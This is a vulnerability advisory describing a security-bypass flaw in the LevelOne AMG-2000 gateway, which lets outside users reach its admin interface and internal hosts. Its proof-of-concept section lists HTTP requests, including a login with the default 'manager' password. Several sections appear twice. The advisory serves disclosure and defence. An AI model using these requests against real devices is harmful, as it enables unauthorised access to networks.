LevelOne AMG-2000 Security Bypass Vulnerability
BID:34760
Info
LevelOne AMG-2000 Security Bypass Vulnerability
| Bugtraq ID: | 34760 |
| Class: | Design Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 29 2009 12:00AM |
| Updated: | Apr 29 2009 09:06PM |
| Credit: | J. Greil |
| Vulnerable: |
Level One AMG-2000 2.00.00 build00600 |
| Not Vulnerable: | |
Discussion
LevelOne AMG-2000 Security Bypass Vulnerability
LevelOne AMG-2000 is prone to a security-bypass vulnerability.
Attackers may exploit this issue to gain access to the administrative interface and internal computers from an outside network. This may aid in further attacks.
Note that valid authentication credentials must still be provided to authenticate to the device's administrative interface. Attackers may use default accounts such as 'operator' or 'manager' if the default passwords have not been changed.
LevelOne AMG-2000 running firmware 2.00.00build00600 and prior versions are affected.
LevelOne AMG-2000 is prone to a security-bypass vulnerability.
Attackers may exploit this issue to gain access to the administrative interface and internal computers from an outside network. This may aid in further attacks.
Note that valid authentication credentials must still be provided to authenticate to the device's administrative interface. Attackers may use default accounts such as 'operator' or 'manager' if the default passwords have not been changed.
LevelOne AMG-2000 running firmware 2.00.00build00600 and prior versions are affected.
Exploit / POC
LevelOne AMG-2000 Security Bypass Vulnerability
An attacker can use widely available network utilities to exploit this issue.
The following examples are available:
HTTP request to access the administration interface login page from the WLAN
GET http://127.0.0.1/ HTTP/1.1
Host: 192.168.0.1:2128
[...]
HTTP request to login to the admin interface with the user "manager"
POST http://127.0.0.1/check.shtml HTTP/1.1
Host: 192.168.0.1:2128
[...]
username=manager&password=manager&Submit=ENTER
HTTP request to access other internal IP addresses configured on the private LAN port
GET http://10.0.0.1/ HTTP/1.1
Host: 192.168.0.1:2128
[...]
An attacker can use widely available network utilities to exploit this issue.
The following examples are available:
HTTP request to access the administration interface login page from the WLAN
GET http://127.0.0.1/ HTTP/1.1
Host: 192.168.0.1:2128
[...]
HTTP request to login to the admin interface with the user "manager"
POST http://127.0.0.1/check.shtml HTTP/1.1
Host: 192.168.0.1:2128
[...]
username=manager&password=manager&Submit=ENTER
HTTP request to access other internal IP addresses configured on the private LAN port
GET http://10.0.0.1/ HTTP/1.1
Host: 192.168.0.1:2128
[...]
Solution / Fix
LevelOne AMG-2000 Security Bypass Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
LevelOne AMG-2000 Security Bypass Vulnerability
References:
References:
- AMG-2000 (LevelOne)
- SEC Consult Security Advisory < 20090429-0 > (SEC Consult)
- Proxy bypass vulnerability & plain text passwords in LevelOne AMG-2000 (SEC Consult Research